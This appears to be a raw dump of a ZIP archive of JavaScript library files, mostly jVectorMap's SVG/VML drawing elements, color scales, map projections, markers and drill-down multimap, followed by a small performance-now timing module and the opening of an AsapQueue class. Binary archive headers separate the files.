  jvm.AbstractCanvasElement.apply(this, arguments);
}

jvm.inherits(jvm.SVGCanvasElement, jvm.SVGElement);
jvm.mixin(jvm.SVGCanvasElement, jvm.AbstractCanvasElement);

jvm.SVGCanvasElement.prototype.setSize = function(width, height){
  this.width = width;
  this.height = height;
  this.node.setAttribute('width', width);
  this.node.setAttribute('height', height);
};

jvm.SVGCanvasElement.prototype.applyTransformParams = function(scale, transX, transY) {
  this.scale = scale;
  this.transX = transX;
  this.transY = transY;
  this.rootElement.node.setAttribute('transform', 'scale('+scale+') translate('+transX+', '+transY+')');
};PK��\ddnS//color-scale.jsnu�[���jvm.ColorScale = function(colors, normalizeFunction, minValue, maxValue) {
  jvm.ColorScale.parentClass.apply(this, arguments);
}

jvm.inherits(jvm.ColorScale, jvm.NumericScale);

jvm.ColorScale.prototype.setScale = function(scale) {
  var i;

  for (i = 0; i < scale.length; i++) {
    this.scale[i] = jvm.ColorScale.rgbToArray(scale[i]);
  }
};

jvm.ColorScale.prototype.getValue = function(value) {
  return jvm.ColorScale.numToRgb(jvm.ColorScale.parentClass.prototype.getValue.call(this, value));
};

jvm.ColorScale.arrayToRgb = function(ar) {
  var rgb = '#',
      d,
      i;

  for (i = 0; i < ar.length; i++) {
    d = ar[i].toString(16);
    rgb += d.length == 1 ? '0'+d : d;
  }
  return rgb;
};

jvm.ColorScale.numToRgb = function(num) {
  num = num.toString(16);

  while (num.length < 6) {
    num = '0' + num;
  }

  return '#'+num;
};

jvm.ColorScale.rgbToArray = function(rgb) {
  rgb = rgb.substr(1);
  return [parseInt(rgb.substr(0, 2), 16), parseInt(rgb.substr(2, 2), 16), parseInt(rgb.substr(4, 2), 16)];
};PK��\�#����vml-element.jsnu�[���/**
 * Wrapper for VML element.
 * @constructor
 * @extends jvm.AbstractElement
 * @param {String} name Tag name of the element
 * @param {Object} config Set of parameters to initialize element with
 */

jvm.VMLElement = function(name, config){
  if (!jvm.VMLElement.VMLInitialized) {
    jvm.VMLElement.initializeVML();
  }

  jvm.VMLElement.parentClass.apply(this, arguments);
};

jvm.inherits(jvm.VMLElement, jvm.AbstractElement);

/**
 * Shows if VML was already initialized for the current document or not.
 * @static
 * @private
 * @type {Boolean}
 */
jvm.VMLElement.VMLInitialized = false;

/**
 * Initializes VML handling before creating the first element
 * (adds CSS class and creates namespace). Adds one of two forms
 * of createElement method depending of support by browser.
 * @static
 * @private
 */

 // The following method of VML handling is borrowed from the
 // Raphael library by Dmitry Baranovsky.

jvm.VMLElement.initializeVML = function(){
  try {
    if (!document.namespaces.rvml) {
      document.namespaces.add("rvml","urn:schemas-microsoft-com:vml");
    }
    /**
     * Creates DOM element.
     * @param {String} tagName Name of element
     * @private
     * @returns DOMElement
     */
    jvm.VMLElement.prototype.createElement = function (tagName) {
      return document.createElement('<rvml:' + tagName + ' class="rvml">');
    };
  } catch (e) {
    /**
     * @private
     */
    jvm.VMLElement.prototype.createElement = function (tagName) {
      return document.createElement('<' + tagName + ' xmlns="urn:schemas-microsoft.com:vml" class="rvml">');
    };
  }
  document.createStyleSheet().addRule(".rvml", "behavior:url(#default#VML)");
  jvm.VMLElement.VMLInitialized = true;
};

/**
 * Returns constructor for element by name prefixed with 'VML'.
 * @param {String} ctr Name of basic constructor to return
 * proper implementation for.
 * @returns Function
 * @private
 */
jvm.VMLElement.prototype.getElementCtr = function( ctr ){
  return jvm['VML'+ctr];
};

/**
 * Adds CSS class for underlying DOM element.
 * @param {String} className Name of CSS class name
 */
jvm.VMLElement.prototype.addClass = function( className ){
  jvm.$(this.node).addClass(className);
};

/**
 * Applies attribute value to the underlying DOM element.
 * @param {String} name Name of attribute
 * @param {Number|String} config Value of attribute to apply
 * @private
 */
jvm.VMLElement.prototype.applyAttr = function( attr, value ){
  this.node[attr] = value;
};

/**
 * Returns boundary box for the element.
 * @returns {Object} Boundary box with numeric fields: x, y, width, height
 * @override
 */
jvm.VMLElement.prototype.getBBox = function(){
  var node = jvm.$(this.node);

  return {
    x: node.position().left / this.canvas.scale,
    y: node.position().top / this.canvas.scale,
    width: node.width() / this.canvas.scale,
    height: node.height() / this.canvas.scale
  };
};PK��\c�%E��multimap.jsnu�[���/**
 * Creates map with drill-down functionality.
 * @constructor
 * @param {Object} params Parameters to initialize map with.
 * @param {Number} params.maxLevel Maximum number of levels user can go through
 * @param {Object} params.main Config of the main map. See <a href="./jvm-map/">jvm.Map</a> for more information.
 * @param {Function} params.mapNameByCode Function go generate map name by region code. Default value is:
<pre>
function(code, multiMap) {
  return code.toLowerCase()+'_'+
         multiMap.defaultProjection+'_en';
}
</pre>
 * @param {Function} params.mapUrlByCode Function to generate map url by region code. Default value is:
<pre>
function(code, multiMap){
  return 'jquery-jvectormap-data-'+
         code.toLowerCase()+'-'+
         multiMap.defaultProjection+'-en.js';
}
</pre>
 */
jvm.MultiMap = function(params) {
  var that = this;

  this.maps = {};
  this.params = jvm.$.extend(true, {}, jvm.MultiMap.defaultParams, params);
  this.params.maxLevel = this.params.maxLevel || Number.MAX_VALUE;
  this.params.main = this.params.main || {};
  this.params.main.multiMapLevel = 0;
  this.history = [ this.addMap(this.params.main.map, this.params.main) ];
  this.defaultProjection = this.history[0].mapData.projection.type;
  this.mapsLoaded = {};

  this.params.container.css({position: 'relative'});
  this.backButton = jvm.$('<div/>').addClass('jvectormap-goback').text('Back').appendTo(this.params.container);
  this.backButton.hide();
  this.backButton.click(function(){
    that.goBack();
  });

  this.spinner = jvm.$('<div/>').addClass('jvectormap-spinner').appendTo(this.params.container);
  this.spinner.hide();
};

jvm.MultiMap.prototype = {
  addMap: function(name, config){
    var cnt = jvm.$('<div/>').css({
      width: '100%',
      height: '100%'
    });

    this.params.container.append(cnt);

    this.maps[name] = new jvm.Map(jvm.$.extend(config, {container: cnt}));
    if (this.params.maxLevel > config.multiMapLevel) {
      this.maps[name].container.on('regionClick.jvectormap', {scope: this}, function(e, code){
        var multimap = e.data.scope,
            mapName = multimap.params.mapNameByCode(code, multimap);

        if (!multimap.drillDownPromise || multimap.drillDownPromise.state() !== 'pending') {
          multimap.drillDown(mapName, code);
        }
      });
    }


    return this.maps[name];
  },

  downloadMap: function(code){
    var that = this,
        deferred = jvm.$.Deferred();

    if (!this.mapsLoaded[code]) {
      jvm.$.get(this.params.mapUrlByCode(code, this)).then(function(){
        that.mapsLoaded[code] = true;
        deferred.resolve();
      }, function(){
        deferred.reject();
      });
    } else {
      deferred.resolve();
    }
    return deferred;
  },

  drillDown: function(name, code){
    var currentMap = this.history[this.history.length - 1],
        that = this,
        focusPromise = currentMap.setFocus({region: code, animate: true}),
        downloadPromise = this.downloadMap(code);

    focusPromise.then(function(){
      if (downloadPromise.state() === 'pending') {
        that.spinner.show();
      }
    });
    downloadPromise.always(function(){
      that.spinner.hide();
    });
    this.drillDownPromise = jvm.$.when(downloadPromise, focusPromise);
    this.drillDownPromise.then(function(){
      currentMap.params.container.hide();
      if (!that.maps[name]) {
        that.addMap(name, {map: name, multiMapLevel: currentMap.params.multiMapLevel + 1});
      } else {
        that.maps[name].params.container.show();
      }
      that.history.push( that.maps[name] );
      that.backButton.show();
    });
  },

  goBack: function(){
    var currentMap = this.history.pop(),
        prevMap = this.history[this.history.length - 1],
        that = this;

    currentMap.setFocus({scale: 1, x: 0.5, y: 0.5, animate: true}).then(function(){
      currentMap.params.container.hide();
      prevMap.params.container.show();
      prevMap.updateSize();
      if (that.history.length === 1) {
        that.backButton.hide();
      }
      prevMap.setFocus({scale: 1, x: 0.5, y: 0.5, animate: true});
    });
  }
};

jvm.MultiMap.defaultParams = {
  mapNameByCode: function(code, multiMap){
    return code.toLowerCase()+'_'+multiMap.defaultProjection+'_en';
  },
  mapUrlByCode: function(code, multiMap){
    return 'jquery-jvectormap-data-'+code.toLowerCase()+'-'+multiMap.defaultProjection+'-en.js';
  }
}
PK��\f3�\\proj.jsnu�[���/**
 * Contains methods for transforming point on sphere to
 * Cartesian coordinates using various projections.
 * @class
 */
jvm.Proj = {
  degRad: 180 / Math.PI,
  radDeg: Math.PI / 180,
  radius: 6381372,

  sgn: function(n){
    if (n > 0) {
      return 1;
    } else if (n < 0) {
      return -1;
    } else {
      return n;
    }
  },

  /**
   * Converts point on sphere to the Cartesian coordinates using Miller projection
   * @param {Number} lat Latitude in degrees
   * @param {Number} lng Longitude in degrees
   * @param {Number} c Central meridian in degrees
   */
  mill: function(lat, lng, c){
    return {
      x: this.radius * (lng - c) * this.radDeg,
      y: - this.radius * Math.log(Math.tan((45 + 0.4 * lat) * this.radDeg)) / 0.8
    };
  },

  /**
   * Inverse function of mill()
   * Converts Cartesian coordinates to point on sphere using Miller projection
   * @param {Number} x X of point in Cartesian system as integer
   * @param {Number} y Y of point in Cartesian system as integer
   * @param {Number} c Central meridian in degrees
   */
  mill_inv: function(x, y, c){
    return {
      lat: (2.5 * Math.atan(Math.exp(0.8 * y / this.radius)) - 5 * Math.PI / 8) * this.degRad,
      lng: (c * this.radDeg + x / this.radius) * this.degRad
    };
  },

  /**
   * Converts point on sphere to the Cartesian coordinates using Mercator projection
   * @param {Number} lat Latitude in degrees
   * @param {Number} lng Longitude in degrees
   * @param {Number} c Central meridian in degrees
   */
  merc: function(lat, lng, c){
    return {
      x: this.radius * (lng - c) * this.radDeg,
      y: - this.radius * Math.log(Math.tan(Math.PI / 4 + lat * Math.PI / 360))
    };
  },

  /**
   * Inverse function of merc()
   * Converts Cartesian coordinates to point on sphere using Mercator projection
   * @param {Number} x X of point in Cartesian system as integer
   * @param {Number} y Y of point in Cartesian system as integer
   * @param {Number} c Central meridian in degrees
   */
  merc_inv: function(x, y, c){
    return {
      lat: (2 * Math.atan(Math.exp(y / this.radius)) - Math.PI / 2) * this.degRad,
      lng: (c * this.radDeg + x / this.radius) * this.degRad
    };
  },

  /**
   * Converts point on sphere to the Cartesian coordinates using Albers Equal-Area Conic
   * projection
   * @see <a href="http://mathworld.wolfram.com/AlbersEqual-AreaConicProjection.html">Albers Equal-Area Conic projection</a>
   * @param {Number} lat Latitude in degrees
   * @param {Number} lng Longitude in degrees
   * @param {Number} c Central meridian in degrees
   */
  aea: function(lat, lng, c){
    var fi0 = 0,
        lambda0 = c * this.radDeg,
        fi1 = 29.5 * this.radDeg,
        fi2 = 45.5 * this.radDeg,
        fi = lat * this.radDeg,
        lambda = lng * this.radDeg,
        n = (Math.sin(fi1)+Math.sin(fi2)) / 2,
        C = Math.cos(fi1)*Math.cos(fi1)+2*n*Math.sin(fi1),
        theta = n*(lambda-lambda0),
        ro = Math.sqrt(C-2*n*Math.sin(fi))/n,
        ro0 = Math.sqrt(C-2*n*Math.sin(fi0))/n;

    return {
      x: ro * Math.sin(theta) * this.radius,
      y: - (ro0 - ro * Math.cos(theta)) * this.radius
    };
  },

  /**
   * Converts Cartesian coordinates to the point on sphere using Albers Equal-Area Conic
   * projection
   * @see <a href="http://mathworld.wolfram.com/AlbersEqual-AreaConicProjection.html">Albers Equal-Area Conic projection</a>
   * @param {Number} x X of point in Cartesian system as integer
   * @param {Number} y Y of point in Cartesian system as integer
   * @param {Number} c Central meridian in degrees
   */
  aea_inv: function(xCoord, yCoord, c){
    var x = xCoord / this.radius,
        y = yCoord / this.radius,
        fi0 = 0,
        lambda0 = c * this.radDeg,
        fi1 = 29.5 * this.radDeg,
        fi2 = 45.5 * this.radDeg,
        n = (Math.sin(fi1)+Math.sin(fi2)) / 2,
        C = Math.cos(fi1)*Math.cos(fi1)+2*n*Math.sin(fi1),
        ro0 = Math.sqrt(C-2*n*Math.sin(fi0))/n,
        ro = Math.sqrt(x*x+(ro0-y)*(ro0-y)),
        theta = Math.atan( x / (ro0 - y) );

    return {
      lat: (Math.asin((C - ro * ro * n * n) / (2 * n))) * this.degRad,
      lng: (lambda0 + theta / n) * this.degRad
    };
  },

  /**
   * Converts point on sphere to the Cartesian coordinates using Lambert conformal
   * conic projection
   * @see <a href="http://mathworld.wolfram.com/LambertConformalConicProjection.html">Lambert Conformal Conic Projection</a>
   * @param {Number} lat Latitude in degrees
   * @param {Number} lng Longitude in degrees
   * @param {Number} c Central meridian in degrees
   */
  lcc: function(lat, lng, c){
    var fi0 = 0,
        lambda0 = c * this.radDeg,
        lambda = lng * this.radDeg,
        fi1 = 33 * this.radDeg,
        fi2 = 45 * this.radDeg,
        fi = lat * this.radDeg,
        n = Math.log( Math.cos(fi1) * (1 / Math.cos(fi2)) ) / Math.log( Math.tan( Math.PI / 4 + fi2 / 2) * (1 / Math.tan( Math.PI / 4 + fi1 / 2) ) ),
        F = ( Math.cos(fi1) * Math.pow( Math.tan( Math.PI / 4 + fi1 / 2 ), n ) ) / n,
        ro = F * Math.pow( 1 / Math.tan( Math.PI / 4 + fi / 2 ), n ),
        ro0 = F * Math.pow( 1 / Math.tan( Math.PI / 4 + fi0 / 2 ), n );

    return {
      x: ro * Math.sin( n * (lambda - lambda0) ) * this.radius,
      y: - (ro0 - ro * Math.cos( n * (lambda - lambda0) ) ) * this.radius
    };
  },

  /**
   * Converts Cartesian coordinates to the point on sphere using Lambert conformal conic
   * projection
   * @see <a href="http://mathworld.wolfram.com/LambertConformalConicProjection.html">Lambert Conformal Conic Projection</a>
   * @param {Number} x X of point in Cartesian system as integer
   * @param {Number} y Y of point in Cartesian system as integer
   * @param {Number} c Central meridian in degrees
   */
  lcc_inv: function(xCoord, yCoord, c){
    var x = xCoord / this.radius,
        y = yCoord / this.radius,
        fi0 = 0,
        lambda0 = c * this.radDeg,
        fi1 = 33 * this.radDeg,
        fi2 = 45 * this.radDeg,
        n = Math.log( Math.cos(fi1) * (1 / Math.cos(fi2)) ) / Math.log( Math.tan( Math.PI / 4 + fi2 / 2) * (1 / Math.tan( Math.PI / 4 + fi1 / 2) ) ),
        F = ( Math.cos(fi1) * Math.pow( Math.tan( Math.PI / 4 + fi1 / 2 ), n ) ) / n,
        ro0 = F * Math.pow( 1 / Math.tan( Math.PI / 4 + fi0 / 2 ), n ),
        ro = this.sgn(n) * Math.sqrt(x*x+(ro0-y)*(ro0-y)),
        theta = Math.atan( x / (ro0 - y) );

    return {
      lat: (2 * Math.atan(Math.pow(F/ro, 1/n)) - Math.PI / 2) * this.degRad,
      lng: (lambda0 + theta / n) * this.degRad
    };
  }
};PK��\���1��vml-image-element.jsnu�[���jvm.VMLImageElement = function(config, style){
  jvm.VMLImageElement.parentClass.call(this, 'image', config, style);
};

jvm.inherits(jvm.VMLImageElement, jvm.VMLShapeElement);

jvm.VMLImageElement.prototype.applyAttr = function(attr, value){
  var patternEl,
      imageEl,
      that = this;

  if (attr == 'image') {
    jvm.whenImageLoaded(value).then(function(img){
      that.node.setAttribute('src', value);
      that.width = img[0].width;
      that.height = img[0].height;
      that.applyAttr('width', that.width);
      that.applyAttr('height', that.height);

      jvm.VMLImageElement.images[value] = jvm.VMLImageElement.imageCounter++;

      that.applyAttr('x', that.cx - that.width / 2);
      that.applyAttr('y', that.cy - that.height / 2);

      jvm.$(that.node).trigger('imageloaded', [img]);
    });
  } else if(attr == 'cx') {
    this.cx = value;
    if (this.width) {
      this.applyAttr('x', value - this.width / 2);
    }
  } else if(attr == 'cy') {
    this.cy = value;
    if (this.height) {
      this.applyAttr('y', value - this.height / 2);
    }
  } else if(attr == 'width' || attr == 'height') {
    this.node.style[attr] = value + 'px';
  } else if (attr == 'x' || attr == 'y') {
    this.node.style[attr == 'x' ? 'left' : 'top'] = value + 'px';
  } else {
    jvm.VMLImageElement.parentClass.prototype.applyAttr.apply(this, arguments);
  }
};

jvm.VMLImageElement.imageCounter = 1;
jvm.VMLImageElement.images = {}PK��\��0��abstract-canvas-element.jsnu�[���/**
 * Implements abstract vector canvas.
 * @constructor
 * @param {HTMLElement} container Container to put element to.
 * @param {Number} width Width of canvas.
 * @param {Number} height Height of canvas.
 */
jvm.AbstractCanvasElement = function(container, width, height){
  this.container = container;
  this.setSize(width, height);
  this.rootElement = new jvm[this.classPrefix+'GroupElement']();
  this.node.appendChild( this.rootElement.node );
  this.container.appendChild(this.node);
}

/**
 * Add element to the certain group inside of the canvas.
 * @param {HTMLElement} element Element to add to canvas.
 * @param {HTMLElement} group Group to add element into or into root group if not provided.
 */
jvm.AbstractCanvasElement.prototype.add = function(element, group){
  group = group || this.rootElement;
  group.add(element);
  element.canvas = this;
}

/**
 * Create path and add it to the canvas.
 * @param {Object} config Parameters of path to create.
 * @param {Object} style Styles of the path to create.
 * @param {HTMLElement} group Group to add path into.
 */
jvm.AbstractCanvasElement.prototype.addPath = function(config, style, group){
  var el = new jvm[this.classPrefix+'PathElement'](config, style);

  this.add(el, group);
  return el;
};

/**
 * Create circle and add it to the canvas.
 * @param {Object} config Parameters of path to create.
 * @param {Object} style Styles of the path to create.
 * @param {HTMLElement} group Group to add circle into.
 */
jvm.AbstractCanvasElement.prototype.addCircle = function(config, style, group){
  var el = new jvm[this.classPrefix+'CircleElement'](config, style);

  this.add(el, group);
  return el;
};

/**
 * Create circle and add it to the canvas.
 * @param {Object} config Parameters of path to create.
 * @param {Object} style Styles of the path to create.
 * @param {HTMLElement} group Group to add circle into.
 */
jvm.AbstractCanvasElement.prototype.addImage = function(config, style, group){
  var el = new jvm[this.classPrefix+'ImageElement'](config, style);

  this.add(el, group);
  return el;
};

/**
 * Create text and add it to the canvas.
 * @param {Object} config Parameters of path to create.
 * @param {Object} style Styles of the path to create.
 * @param {HTMLElement} group Group to add circle into.
 */
jvm.AbstractCanvasElement.prototype.addText = function(config, style, group){
  var el = new jvm[this.classPrefix+'TextElement'](config, style);

  this.add(el, group);
  return el;
};

/**
 * Add group to the another group inside of the canvas.
 * @param {HTMLElement} group Group to add circle into or root group if not provided.
 */
jvm.AbstractCanvasElement.prototype.addGroup = function(parentGroup){
  var el = new jvm[this.classPrefix+'GroupElement']();

  if (parentGroup) {
    parentGroup.node.appendChild(el.node);
  } else {
    this.node.appendChild(el.node);
  }
  el.canvas = this;
  return el;
};PK��\��6"]]	marker.jsnu�[���jvm.Marker = function(config){
  var text,
      offsets;

  this.config = config;
  this.map = this.config.map;

  this.isImage = !!this.config.style.initial.image;
  this.createShape();

  text = this.getLabelText(config.index);
  if (this.config.label && text) {
    this.offsets = this.getLabelOffsets(config.index);
    this.labelX = config.cx / this.map.scale - this.map.transX;
    this.labelY = config.cy / this.map.scale - this.map.transY;
    this.label = config.canvas.addText({
      text: text,
      'data-index': config.index,
      dy: "0.6ex",
      x: this.labelX,
      y: this.labelY
    }, config.labelStyle, config.labelsGroup);

    this.label.addClass('jvectormap-marker jvectormap-element');
  }
};

jvm.inherits(jvm.Marker, jvm.MapObject);

jvm.Marker.prototype.createShape = function(){
  var that = this;

  if (this.shape) {
    this.shape.remove();
  }
  this.shape = this.config.canvas[this.isImage ? 'addImage' : 'addCircle']({
    "data-index": this.config.index,
    cx: this.config.cx,
    cy: this.config.cy
  }, this.config.style, this.config.group);

  this.shape.addClass('jvectormap-marker jvectormap-element');

  if (this.isImage) {
    jvm.$(this.shape.node).on('imageloaded', function(){
      that.updateLabelPosition();
    });
  }
};

jvm.Marker.prototype.updateLabelPosition = function(){
  if (this.label) {
    this.label.set({
      x: this.labelX * this.map.scale + this.offsets[0] +
         this.map.transX * this.map.scale + 5 + (this.isImage ? (this.shape.width || 0) / 2 : this.shape.properties.r),
      y: this.labelY * this.map.scale + this.map.transY * this.map.scale + this.offsets[1]
    });
  }
};

jvm.Marker.prototype.setStyle = function(property, value){
  var isImage;

  jvm.Marker.parentClass.prototype.setStyle.apply(this, arguments);

  if (property === 'r') {
    this.updateLabelPosition();
  }

  isImage = !!this.shape.get('image');
  if (isImage != this.isImage) {
    this.isImage = isImage;
    this.config.style = jvm.$.extend(true, {}, this.shape.style);
    this.createShape();
  }
};PK��\N��Uoosvg-image-element.jsnu�[���jvm.SVGImageElement = function(config, style){
  jvm.SVGImageElement.parentClass.call(this, 'image', config, style);
};

jvm.inherits(jvm.SVGImageElement, jvm.SVGShapeElement);

jvm.SVGImageElement.prototype.applyAttr = function(attr, value){
  var that = this;

  if (attr == 'image') {
    jvm.whenImageLoaded(value).then(function(img){
      that.node.setAttributeNS('http://www.w3.org/1999/xlink', 'href', value);
      that.width = img[0].width;
      that.height = img[0].height;
      that.applyAttr('width', that.width);
      that.applyAttr('height', that.height);

      that.applyAttr('x', that.cx - that.width / 2);
      that.applyAttr('y', that.cy - that.height / 2);

      jvm.$(that.node).trigger('imageloaded', [img]);
    });
  } else if(attr == 'cx') {
    this.cx = value;
    if (this.width) {
      this.applyAttr('x', value - this.width / 2);
    }
  } else if(attr == 'cy') {
    this.cy = value;
    if (this.height) {
      this.applyAttr('y', value - this.height / 2);
    }
  } else {
    jvm.SVGImageElement.parentClass.prototype.applyAttr.apply(this, arguments);
  }
};PK��\$�Wffabstract-shape-element.jsnu�[���/**
 * Abstract shape element. Shape element represents some visual vector or raster object.
 * @constructor
 * @param {String} name Tag name of the element.
 * @param {Object} config Set of parameters to initialize element with.
 * @param {Object} style Object with styles to set on element initialization.
 */
jvm.AbstractShapeElement = function(name, config, style){
  this.style = style || {};
  this.style.current = this.style.current || {};
  this.isHovered = false;
  this.isSelected = false;
  this.updateStyle();
};

/**
 * Set element's style.
 * @param {Object|String} property Could be string to set only one property or object to set several style properties at once.
 * @param {String} value Value to set in case only one property should be set.
 */
jvm.AbstractShapeElement.prototype.setStyle = function(property, value){
  var styles = {};

  if (typeof property === 'object') {
    styles = property;
  } else {
    styles[property] = value;
  }
  jvm.$.extend(this.style.current, styles);
  this.updateStyle();
};


jvm.AbstractShapeElement.prototype.updateStyle = function(){
  var attrs = {};

  jvm.AbstractShapeElement.mergeStyles(attrs, this.style.initial);
  jvm.AbstractShapeElement.mergeStyles(attrs, this.style.current);
  if (this.isHovered) {
    jvm.AbstractShapeElement.mergeStyles(attrs, this.style.hover);
  }
  if (this.isSelected) {
    jvm.AbstractShapeElement.mergeStyles(attrs, this.style.selected);
    if (this.isHovered) {
      jvm.AbstractShapeElement.mergeStyles(attrs, this.style.selectedHover);
    }
  }
  this.set(attrs);
};

jvm.AbstractShapeElement.mergeStyles = function(styles, newStyles){
  var key;

  newStyles = newStyles || {};
  for (key in newStyles) {
    if (newStyles[key] === null) {
      delete styles[key];
    } else {
      styles[key] = newStyles[key];
    }
  }
}PK��\�3Ҽ�abstract-element.jsnu�[���/**
 * Basic wrapper for DOM element.
 * @constructor
 * @param {String} name Tag name of the element
 * @param {Object} config Set of parameters to initialize element with
 */
jvm.AbstractElement = function(name, config){
  /**
   * Underlying DOM element
   * @type {DOMElement}
   * @private
   */
  this.node = this.createElement(name);

  /**
   * Name of underlying element
   * @type {String}
   * @private
   */
  this.name = name;

  /**
   * Internal store of attributes
   * @type {Object}
   * @private
   */
  this.properties = {};

  if (config) {
    this.set(config);
  }
};

/**
 * Set attribute of the underlying DOM element.
 * @param {String} name Name of attribute
 * @param {Number|String} config Set of parameters to initialize element with
 */
jvm.AbstractElement.prototype.set = function(property, value){
  var key;

  if (typeof property === 'object') {
    for (key in property) {
      this.properties[key] = property[key];
      this.applyAttr(key, property[key]);
    }
  } else {
    this.properties[property] = value;
    this.applyAttr(property, value);
  }
};

/**
 * Returns value of attribute.
 * @param {String} name Name of attribute
 */
jvm.AbstractElement.prototype.get = function(property){
  return this.properties[property];
};

/**
 * Applies attribute value to the underlying DOM element.
 * @param {String} name Name of attribute
 * @param {Number|String} config Value of attribute to apply
 * @private
 */
jvm.AbstractElement.prototype.applyAttr = function(property, value){
  this.node.setAttribute(property, value);
};

jvm.AbstractElement.prototype.remove = function(){
  jvm.$(this.node).remove();
};PK��\��l��svg-circle-element.jsnu�[���jvm.SVGCircleElement = function(config, style){
  jvm.SVGCircleElement.parentClass.call(this, 'circle', config, style);
};

jvm.inherits(jvm.SVGCircleElement, jvm.SVGShapeElement);PK��\e����svg-element.jsnu�[���/**
 * Wrapper for SVG element.
 * @constructor
 * @extends jvm.AbstractElement
 * @param {String} name Tag name of the element
 * @param {Object} config Set of parameters to initialize element with
 */

jvm.SVGElement = function(name, config){
  jvm.SVGElement.parentClass.apply(this, arguments);
}

jvm.inherits(jvm.SVGElement, jvm.AbstractElement);

jvm.SVGElement.svgns = "http://www.w3.org/2000/svg";

/**
 * Creates DOM element.
 * @param {String} tagName Name of element
 * @private
 * @returns DOMElement
 */
jvm.SVGElement.prototype.createElement = function( tagName ){
  return document.createElementNS( jvm.SVGElement.svgns, tagName );
};

/**
 * Adds CSS class for underlying DOM element.
 * @param {String} className Name of CSS class name
 */
jvm.SVGElement.prototype.addClass = function( className ){
  this.node.setAttribute('class', className);
};

/**
 * Returns constructor for element by name prefixed with 'VML'.
 * @param {String} ctr Name of basic constructor to return
 * proper implementation for.
 * @returns Function
 * @private
 */
jvm.SVGElement.prototype.getElementCtr = function( ctr ){
  return jvm['SVG'+ctr];
};

jvm.SVGElement.prototype.getBBox = function(){
  return this.node.getBBox();
};PK��\�tSIMMvml-circle-element.jsnu�[���jvm.VMLCircleElement = function(config, style){
  jvm.VMLCircleElement.parentClass.call(this, 'oval', config, style);
};

jvm.inherits(jvm.VMLCircleElement, jvm.VMLShapeElement);

jvm.VMLCircleElement.prototype.applyAttr = function(attr, value){
  switch (attr) {
    case 'r':
      this.node.style.width = value*2+'px';
      this.node.style.height = value*2+'px';
      this.applyAttr('cx', this.get('cx') || 0);
      this.applyAttr('cy', this.get('cy') || 0);
      break;
    case 'cx':
      if (!value) return;
      this.node.style.left = value - (this.get('r') || 0) + 'px';
      break;
    case 'cy':
      if (!value) return;
      this.node.style.top = value - (this.get('r') || 0) + 'px';
      break;
    default:
      jvm.VMLCircleElement.parentClass.prototype.applyAttr.call(this, attr, value);
  }
};PK��\;�ttordinal-scale.jsnu�[���jvm.OrdinalScale = function(scale){
  this.scale = scale;
};

jvm.OrdinalScale.prototype.getValue = function(value){
  return this.scale[value];
};

jvm.OrdinalScale.prototype.getTicks = function(){
  var ticks = [],
      key;

  for (key in this.scale) {
    ticks.push({
      label: key,
      value: this.scale[key]
    });
  }

  return ticks;
};PK��\�	����svg-shape-element.jsnu�[���jvm.SVGShapeElement = function(name, config, style){
  jvm.SVGShapeElement.parentClass.call(this, name, config);
  jvm.AbstractShapeElement.apply(this, arguments);
};

jvm.inherits(jvm.SVGShapeElement, jvm.SVGElement);
jvm.mixin(jvm.SVGShapeElement, jvm.AbstractShapeElement);

jvm.SVGShapeElement.prototype.applyAttr = function(attr, value){
  var patternEl,
      imageEl,
      that = this;

  if (attr === 'fill' && jvm.isImageUrl(value)) {
    if (!jvm.SVGShapeElement.images[value]) {
      jvm.whenImageLoaded(value).then(function(img){
        imageEl = new jvm.SVGElement('image');
        imageEl.node.setAttributeNS('http://www.w3.org/1999/xlink', 'href', value);
        imageEl.applyAttr('x', '0');
        imageEl.applyAttr('y', '0');
        imageEl.applyAttr('width', img[0].width);
        imageEl.applyAttr('height', img[0].height);

        patternEl = new jvm.SVGElement('pattern');
        patternEl.applyAttr('id', 'image'+jvm.SVGShapeElement.imageCounter);
        patternEl.applyAttr('x', 0);
        patternEl.applyAttr('y', 0);
        patternEl.applyAttr('width', img[0].width / 2);
        patternEl.applyAttr('height', img[0].height / 2);
        patternEl.applyAttr('viewBox', '0 0 '+img[0].width+' '+img[0].height);
        patternEl.applyAttr('patternUnits', 'userSpaceOnUse');
        patternEl.node.appendChild( imageEl.node );

        that.canvas.defsElement.node.appendChild( patternEl.node );

        jvm.SVGShapeElement.images[value] = jvm.SVGShapeElement.imageCounter++;

        that.applyAttr('fill', 'url(#image'+jvm.SVGShapeElement.images[value]+')');
      });
    } else {
      this.applyAttr('fill', 'url(#image'+jvm.SVGShapeElement.images[value]+')');
    }
  } else {
    jvm.SVGShapeElement.parentClass.prototype.applyAttr.apply(this, arguments);
  }
};

jvm.SVGShapeElement.imageCounter = 1;
jvm.SVGShapeElement.images = {};PK|V�\M��))performance-now.coffeenu�[���if performance? and performance.now
  module.exports = -> performance.now()
else if process? and process.hrtime
  module.exports = -> (getNanoSeconds() - nodeLoadTime) / 1e6
  hrtime = process.hrtime
  getNanoSeconds = ->
    hr = hrtime()
    hr[0] * 1e9 + hr[1]
  moduleLoadTime = getNanoSeconds()
  upTime = process.uptime() * 1e9
  nodeLoadTime = moduleLoadTime - upTime
else if Date.now
  module.exports = -> Date.now() - loadTime
  loadTime = Date.now()
else
  module.exports = -> new Date().getTime() - loadTime
  loadTime = new Date().getTime()
PK|V�\�tp���
index.d.tsnu�[���// This file describes the package to typescript.

/**
 * Returns the number of milliseconds since the page was loaded (if browser)
 * or the node process was started.
 */
declare function now(): number;
export = now;
PK�Z�\��}}AsapQueue.tsnu�[���/* eslint-disable no-restricted-globals, @typescript-eslint/ban-ts-comment, @typescript-eslint/no-unused-vars, @typescript-eslint/no-non-null-assertion */
import type { Task } from './types.js'
import { makeRequestCall, makeRequestCallFromTimer } from './makeRequestCall.js'

export class AsapQueue {
	private queue: Task[] = []
	// We queue errors to ensure they are thrown in right order (FIFO).
	// Array-as-queue is good enough here, since we are just dealing with exceptions.
	private pendingErrors: any[] = []
	// Once a flush has been requested, no further calls to `requestFlush` are
	// necessary until the next `flush` completes.
	// @ts-ignore
	private flushing = false
	// `requestFlush` is an implementation-specific method that attempts to kick
	// off a `flush` event as quickly as possible. `flush` will attempt to exhaust
	// the event queue before yielding to the browser's own event loop.
	private requestFlush: () => void

	private requestErrorThrow: () => void
	// The position of the next task to execute in the task queue. This is
	// preserved between calls to `flush` so that it can be resumed if
	// a task throws an exception.
	private index = 0
	// If a task schedules additional tasks recursively, the task queue can grow
	// unbounded. To prevent memory exhaustion, the task queue will periodically
	// truncate already-completed tasks.
	private capacity = 1024

	public constructor() {
		// `requestFlush` requests that the high priority event queue be flushed as
		// soon as possible.
